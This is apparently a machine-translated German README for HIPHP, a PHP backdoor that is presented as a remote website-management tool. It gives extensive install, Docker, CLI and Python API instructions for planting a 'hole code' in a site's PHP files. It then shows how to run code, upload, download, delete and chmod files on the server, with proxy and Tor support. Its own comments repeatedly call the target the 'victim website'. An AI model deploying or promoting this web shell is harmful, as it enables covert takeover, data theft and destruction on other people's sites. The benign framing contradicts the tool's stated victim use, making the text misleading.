Die HIPHP-Backdoor ist ein Open-Source-Tool, mit dem Websites mithilfe der PHP-Programmiersprache über das HTTP/HTTPS-Protokoll eine Fernbedienung ermöglicht. Durch die Verwendung der Post/GET -Methode auf Port 80 können Benutzer auf eine Reihe von Funktionen wie das Herunterladen und Bearbeiten von Dateien zugreifen. Darüber hinaus bietet es die Möglichkeit, eine Verbindung zu Tor -Netzwerken herzustellen und eine zusätzliche Sicherheitsebene durch die Verwendung des Kennwortschutzes bereitzustellen.
HIPHP wurde von einem Team von Webmeistern entwickelt, die über ihre Websites, ohne sich auf Software oder Dienste von Drittanbietern zu stützen, eine einfache und benutzerfreundliche Lösung zu bieten. Durch die Platzierung des HIPHP_HOLE_CODE in jeder PHP -Datei in der Verzeichnisstruktur der Website erhalten Benutzer Zugriffsrechte, um Änderungen von überall auf der Welt vorzunehmen. Dies macht es zu einer idealen Lösung für Website -Eigentümer, die bei der Verwaltung ihrer Online -Präsenz nach größerer Flexibilität suchen.
Die Sicherheit hat für HIPHP oberste Priorität, wobei regelmäßige Updates sicherstellen, dass Kompatibilität in verschiedenen Versionen von PHP -Codebasis von Content Management Systems (CMS) verwendet wird. Die Funktion für Kennwortschutz fügt eine zusätzliche Verteidigungsebene gegen den unbefugten Zugriff hinzu. HIPHP ist eine sichere Lösung für diejenigen, die die vollständige Kontrolle über ihre Website -Hosting -Umgebung zurücknehmen möchten.
# Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git| Verteilung | Versionsprüfung | Python -Version | Installation | Hiphp-Cli | Hiphp-Desktop | Hiphp-tk |
|---|---|---|---|---|---|---|
| Ubuntu | Letzte Version | 3.7 -> 3.11 | ✓ | ✓ | ✓ | ✓ |
| Windwos | Letzte Version | 3.7 -> 3.11 | ✗ | ✓ | ✓ | ✓ |
| Macos | Letzte Version | 3.7 -> 3.10 | ✗ | ✓ | ✓ | ✓ |
| Android-Termux | Letzte Version | 3.7 -> 3.9 | ✓ | ✓ | ✗ | ✗ |
| Nethunter | Letzte Version | 3.7 -> 3.9 | ✓ | ✓ | ✓ | ✗ |
# HIPHP_HOLE_CODE:
❯ python main.py --geth --key=123 # Build:
❯ docker build -t hiphp:latest .
# Run as CLI:
❯ docker run -e KEY= " <KEY*> " -e URL= " <URL*> " -i -t hiphp:latest
# Run as CLI with PROXIES:
❯ docker run -e KEY= " <KEY> " -e URL= " <URL> " -e PROXIES= " <FILE_PATH/{'http/https':'IP:port'}> " -i -t hiphp:latest
# Run as GUI:
❯ docker run --rm -p 127.0.0.1:8080:8080 -e DOCKER=True -e DST=True -i -t hiphp:latest
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# * = All inputs must be entered.
# KEY = The password used for encrypt HIPHP_HOLE_CODE.
# URL = Victim website link.Klicken Sie hier, um die Demo anzuzeigen
# Pull:
❯ docker pull yasserbdj96/hiphp:latest
# Build:
❯ docker build -t docker.io/yasserbdj96/hiphp:latest .
# Run as CLI:
❯ docker run -e KEY= " <KEY*> " -e URL= " <URL*> " -i -t docker.io/yasserbdj96/hiphp:latest
# Run as CLI with PROXIES:
❯ docker run -e KEY= " <KEY> " -e URL= " <URL> " -e PROXIES= " <FILE_PATH/{'http/https':'IP:port'}> " -i -t docker.io/yasserbdj96/hiphp:latest
# Run as GUI:
❯ docker run --rm -p 127.0.0.1:8080:8080 -e DOCKER=True -e DST=True -i -t docker.io/yasserbdj96/hiphp:latest
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# * = All inputs must be entered.
# KEY = The password used for encrypt HIPHP_HOLE_CODE.
# URL = Victim website link.Klicken Sie hier, um die Demo anzuzeigen
# Pull:
❯ docker pull ghcr.io/yasserbdj96/hiphp:latest
# Build:
❯ docker build -t ghcr.io/yasserbdj96/hiphp:latest .
# Run as CLI:
❯ docker run -e KEY= " <KEY*> " -e URL= " <URL*> " -i -t ghcr.io/yasserbdj96/hiphp:latest
# Run as CLI with PROXIES:
❯ docker run -e KEY= " <KEY> " -e URL= " <URL> " -e PROXIES= " <FILE_PATH/{'http/https':'IP:port'}> " -i -t ghcr.io/yasserbdj96/hiphp:latest
# Run as GUI:
❯ docker run --rm -p 127.0.0.1:8080:8080 -e DOCKER=True -e DST=True -i -t ghcr.io/yasserbdj96/hiphp:latest
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# * = All inputs must be entered.
# KEY = The password used for encrypt HIPHP_HOLE_CODE.
# URL = Victim website link.Klicken Sie hier, um die Demo anzuzeigen
# Install from PYPI:
❯ pip install hiphp
# OR
❯ python -m pip install hiphp
# Local install:
# Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# install
# ❯ pip install -r requirements.txt
❯ pip install .
# Uninstall:
❯ pip uninstall hiphp # Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# Go to Installation folder:
❯ cd install
# Install:
# If you encounter problems with installation and operation, please repeat the process by giving root permission.
❯ bash install.sh --install
❯ hiphp
# Update:
❯ bash install.sh --update
# Usage: hiphp [OPTION]
# Examples:
# hiphp --help # Show CLI help for hiphp.
# hiphp --geth [KEY] [URL] # Retrieve the HIPHP_HOLE_CODE encrypted by your [KEY].
# hiphp [KEY] [URL] # Connect to the victim's website in CLI mode.
# hiphp --tk # Run hiphp in 'hiphp-tk' (GUI) mode.
# hiphp --dst # Run hiphp in 'hiphp-desktop' (GUI) mode.
# hiphp --version # Check the current version number.
# Uninstall:
❯ bash install.sh --uninstall # Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# Go to Installation folder:
❯ cd install
# Install:
❯ bash install.sh --termux --install
❯ hiphp
# Update:
❯ bash install.sh --termux --update
# Usage: hiphp [OPTION]
# Examples:
# hiphp --help # Show CLI help for hiphp.
# hiphp --geth [KEY] [URL] # Retrieve the HIPHP_HOLE_CODE encrypted by your [KEY].
# hiphp [KEY] [URL] # Connect to the victim's website in CLI mode.
# hiphp --version # Check the current version number.
# Uninstall:
❯ bash install.sh --termux --uninstall # Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# build .deb file:
❯ bash build_deb.sh
# Install:
❯ sudo dpkg -i hiphp- < VERSION > .deb
# OR
❯ sudo apt install ./hiphp- < VERSION > .deb # Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# install requirements:
❯ pip install -r requirements.txt
❯ pip install -r hiphp-linux/requirements-linux.txt # for linux os.
❯ pip install -r hiphp-win/requirements-win.txt # for windows os.
# default run on any os:
❯ python main.py --KEY= " <KEY*> " --URL= " <URL*> "
# Run with Makefile:
❯ make ARGUMENTS= " --KEY='<KEY*>' --URL='<URL*>' " run
# For linux:
❯ cd hiphp-linux
❯ bash hiphp-cli.sh --KEY= " <KEY*> " --URL= " <URL*> " --PROXIES= " <FILE_PATH/{'http/https':'IP:port'}> " --Y
# For Windows:
# Do not forget to modify the "config.ini" file or use the following command:
# > python -c "import sys; open('config.ini','w+').write('python_default_path='+sys.executable)"
# OR Run 'hiphp-winconfig-configure.py'.
❯ cd hiphp-win
❯ hiphp-cli.bat --KEY= " <KEY*> " --URL= " <URL*> " --PROXIES= " <FILE_PATH/{'http/https':'IP:port'}> " --Y
Commands:
--help, help # Display this help.
--help [ACTIONS], help [ACTIONS] # Help for a specific command.
--geth, geth # Get the HIPHP_HOLE_CODE (same purpose as --geth).
--phpinfo, phpinfo # Display information about the server.
--cls, cls # Clear the console.
--exit, exit # Exit the console.
Actions:
--ls, ls # List files and folders (current directory by default).
Usage: --ls [OPTION] [PATH], ls [OPTION] [PATH]
--ls # List all files and folders in the current directory.
--ls [PATH] # List all files and folders in the specified directory.
--ls -all # List all files, folders, and subfolders in the current directory.
--ls -all [PATH] # List all files, folders, and subfolders in the specified directory.
--cat, cat # Concatenate a file to standard output.
Usage: --cat [FILE_PATH]
--set, set # Create a code snippet that is always saved during work.
Usage: --set [PHP_CODE]
To reset to the initial value, use "--dset" or "dset".
--cd, cd # Change directory.
Usage: --cd [PATH]
--rf, rf, run # Run code from a file.
Usage: --rf [FILE_PATH] [VARIABLES]
--rf [FILE_PATH] # Run code from a file.
--rf [FILE_PATH] [VARIABLES] # Run code from a file with variables (e.g., --rf example.php var==hello).
--up, up, upload # Upload a file.
Usage: --up [FILE_PATH] [PATH]
--up [FILE_PATH] # Upload a file to the current directory.
--up [FILE_PATH] [PATH] # Upload a file to a specified directory.
--down, down, download # Download a file.
Usage: --down [-f/-d] [FILE/DIR_PATH] [OUT_PATH]
--down -f [FILE_PATH] # Download a file to the current directory.
--down -f [FILE_PATH] [OUT_PATH] # Download a file to a specified directory.
--down -d [DIR_PATH] # Download a folder to the current directory.
--down -d [DIR_PATH] [OUT_PATH] # Download a folder to a specified directory.
--down -all # Download all files to the current directory.
--down -all [OUT_PATH] # Download all files to a specified directory.
--zip, zip # Compress a directory.
Usage: --zip [DIR_PATH]
--zip # Compress the current directory.
--zip [DIR_PATH] # Compress a specific directory.
--edt, edt, edit # Edit files.
Usage: --edt [FILE_PATH]
CTRL+q # Exit the editor.
CTRL+s # Save the changes.
--rm, rm, delete # Delete files and folders.
Usage: --rm [-f/-d] [FILE/DIR_PATH]
--rm -f [FILE_PATH] # Delete a file.
--rm -d [DIR_PATH] # Delete a folder.
--mv, mv # Move files and folders.
Usage: --mv [SOURCE] [DESTINATION]
--chmod, chmod # change file/folder permissions
Usage: --chmod [PERMISSIONS] [FILE/DIR_PATH]
About:
--update, update # Check for updates.
--license, license # View the project license.
--about, about # About this project.
--version, version # Get the current version number.
# Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# install requirements:
❯ pip install -r requirements.txt
❯ pip install -r hiphp-linux/requirements-linux.txt # for linux os.
❯ pip install -r hiphp-win/requirements-win.txt # for windows os.
# run with hiphp-desktop tool:
❯ python main.py --DST
# Run with Makefile:
❯ make ARGUMENTS= " --DST " run
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# For Linux:
❯ cd hiphp-linux
❯ bash hiphp-desktop.sh
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# For Windows:
# Do not forget to modify the "config.ini" file or use the following command:
# > python -c "import sys; open('config.ini','w+').write('python_default_path='+sys.executable)"
# OR Run 'hiphp-winconfig-configure.py'.
❯ cd hiphp-win
❯ hiphp-desktop.bat
# Open your web browser and navigate to http://127.0.0.1:8080 to see the default landing page.
# Download hiphp from github:
❯ git clone https://github.com/yasserbdj96/hiphp.git
# OR
# Download hiphp from gitlab:
❯ git clone https://gitlab.com/yasserbdj96/hiphp.git
# Go to downloaded folder:
❯ cd hiphp
# install requirements:
❯ pip install -r requirements.txt
❯ pip install -r hiphp-linux/requirements-linux.txt # for linux os.
❯ pip install -r hiphp-win/requirements-win.txt # for windows os.
# run with hiphp-tk tool:
❯ python main.py --TK
# Run with Makefile:
❯ make ARGUMENTS= " --TK " run
# OR
❯ make ARGUMENTS= " --TK --KEY='<KEY>' --URL='<URL>' " run
# For Linux:
❯ cd hiphp-linux
❯ bash run-hiphp-tk.sh
# For Windows:
# Do not forget to modify the "config.ini" file or use the following command:
# > python -c "import sys; open('config.ini','w+').write('python_default_path='+sys.executable)"
# OR Run 'hiphp-winconfig-configure.py'.
❯ hiphp-win
❯ run-hiphp-tk.bat
# install hiphp package:
# ❯ pip install hiphp
# import hiphp package:
from hiphp import *
# Connect:
p1 = hiphp ( key = "<KEY*>" , url = "<URL*>" , proxies = "<PROXIES>" , retu = < RETURN > ) # Default: retu=False
# * = All inputs must be entered.
# KEY = The password used for encrypt HIPHP_HOLE_CODE.
# URL = Victim website link.
# PROXIES = To use a proxy.
# RETURN = True for return data as a string, false for print data in the console. #START{
from hiphp import *
# Connect:
p1 = hiphp ( key = "123" , url = "http://127.0.0.1/index.php" ) #Default: retu=False, proxies="".
#p1=hiphp(key="123",url="http://kfdjlkgjflkgjdfkjgkfdjgkjdfkgjk.onion/index.php")# If you use hiphp on .onion sites, you must run tor services or tor browser.
#p1=hiphp(key="123",url="https://localhost.com/vvv2.php")
# Get the hole Code:
p1 . get_hole () # Copy this code into the file whose path you entered earlier. ex: https://localhost/index.php
# Example:1
# Command:
p1 . run ( "echo 'this is a test';" )
# Example:2
# Run code from file:
p1 . run_file ( "./examples.php" ) # Run code from file.
p1 . run_file ( "./examples.php" , "var1==true" , "var2==hiii" ) # Run code from file With the entry of variables.
# Example:3
# Upload a file:
p1 . upload ( "./examples.php" ) # Upload a file to the current directory.
p1 . upload ( "./examples.php" , "./upload_path/" ) # Upload a file to a specific directory.
# Example:4
# Compress a path:
p1 . compress () # Compress the current directory.
p1 . compress ( "./example/" ) # Compress a specific directory.
# Example:5
# download a file:
p1 . download ( "example.zip" ) # download a specific file to the current directory.
p1 . download ( "example.zip" , "<OUT_PATH>" ) # download a specific file to specific directory.
# Example:6
# Command line interface:
p1 . cli ()
#}END. Entwickler / Autor: Yasserbdj96
Der Inhalt dieses Repositorys ist an die folgende Lizenz gebunden.
Wenn Sie dieses Projekt genießen und sehen möchten, dass es sich weiter verbessert, oder wenn Sie möchten, dass ich interessantere Projekte erstelle, sollten Sie mich empfinden.
Website. Github. Gitlab. LinkedIn. Twitter. Instagram . Facebook. YouTube. Pypi. Docker. Telegramm. Gitter. E-Mail. Sponsor